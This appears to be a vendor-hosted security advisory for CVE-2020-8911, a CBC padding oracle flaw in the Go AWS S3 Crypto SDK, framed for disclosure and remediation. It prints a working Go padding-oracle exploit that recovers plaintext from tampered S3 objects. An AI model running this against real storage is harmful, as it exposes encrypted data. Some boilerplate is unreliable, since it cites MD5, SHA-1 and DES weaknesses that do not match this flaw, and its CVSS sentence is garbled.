Summary
CBC padding oracle issue in AWS S3 Crypto SDK for golang
The golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the CBC option was chosen as content cipher.
Risk/Severity
The vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data.
Mitigation
Using the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with CBC mode.
Proof of concept
A Proof of concept is available in a separate github repository.
This particular issue is described in padding_oracle_exploit.go:
func PaddingOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) {
data, header, err := input.S3Mock.GetObjectDirect(bucket, key)
if alg := header.Get("X-Amz-Meta-X-Amz-Cek-Alg"); alg != "AES/CBC/PKCS5Padding" {
return "", fmt.Errorf("Algorithm is %q, not CBC!", alg)
}
length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length"))
padding := byte(len(data) - length)
plaintext := make([]byte, length)
for i := length - 1; i >= 0; i-- {
newLength := 16 * (i/16 + 1)
dataCopy := make([]byte, newLength)
headerCopy := header.Clone()
copy(dataCopy, data)
// Set Padding
newPadding := byte(newLength - i)
for j := i + 1; j < newLength; j++ {
var oldValue byte
if j >= length {
oldValue = padding
} else {
oldValue = plaintext[j]
}
dataCopy, headerCopy, err = xorData(oldValue^newPadding, j, dataCopy, headerCopy)
if err != nil {
return "", err
}
}
// Guess
for c := 0; c < 256; c++ {
dataCopy, headerCopy, err := xorData(byte(c)^newPadding, i, dataCopy, headerCopy)
input.S3Mock.PutObjectDirect(bucket, key+"guess", dataCopy, headerCopy)
if input.Oracle(bucket, key+"guess") {
plaintext[i] = byte(c)
break
}
dataCopy, headerCopy, err = xorData(byte(c)^newPadding, i, dataCopy, headerCopy)
}
}
return string(plaintext), nil
}
Impact
This advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non "strict" versions of C++ and Java S3 Crypto SDKs being present as well.
V1 prior to 1.34.0 of the S3 crypto SDK, allows users to encrypt files with AES-CBC, without computing a MAC on the data. Note that there is an alternative option of using AES-GCM, which is used in the examples of the documentation and not affected by this vulnerability, but by CVE-2020-8912.
This exposes a padding oracle vulnerability: If the attacker has write access to the S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file (without observing the file contents that the endpoint learns in the process), they can reconstruct the plaintext with (on average) 128*length(plaintext) queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors.
This issue is fixed in V2 of the API, by disabling encryption with CBC mode for new files. Old files, if they have been encrypted with CBC mode, remain vulnerable until they are reencrypted with AES-GCM.
The application uses a cryptographic algorithm known to have weaknesses, such as MD5, SHA-1, or DES. Typical impact: compromised confidentiality or integrity of protected data.
CVE-2020-8911 has a CVSS score of 5.6 (Medium). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.34.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2020-8911? CVE-2020-8911 is a medium-severity use of a broken or risky cryptographic algorithm vulnerability in github.com/aws/aws-sdk-go (go), affecting versions < 1.34.0. It is fixed in 1.34.0. The application uses a cryptographic algorithm known to have weaknesses, such as MD5, SHA-1, or DES.
- How severe is CVE-2020-8911? CVE-2020-8911 has a CVSS score of 5.6 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/aws/aws-sdk-go are affected by CVE-2020-8911? github.com/aws/aws-sdk-go (go) versions < 1.34.0 is affected.
- Is there a fix for CVE-2020-8911? Yes. CVE-2020-8911 is fixed in 1.34.0. Upgrade to this version or later.
- Is CVE-2020-8911 exploitable, and should I be worried? Whether CVE-2020-8911 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2020-8911 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2020-8911? Upgrade
github.com/aws/aws-sdk-goto 1.34.0 or later.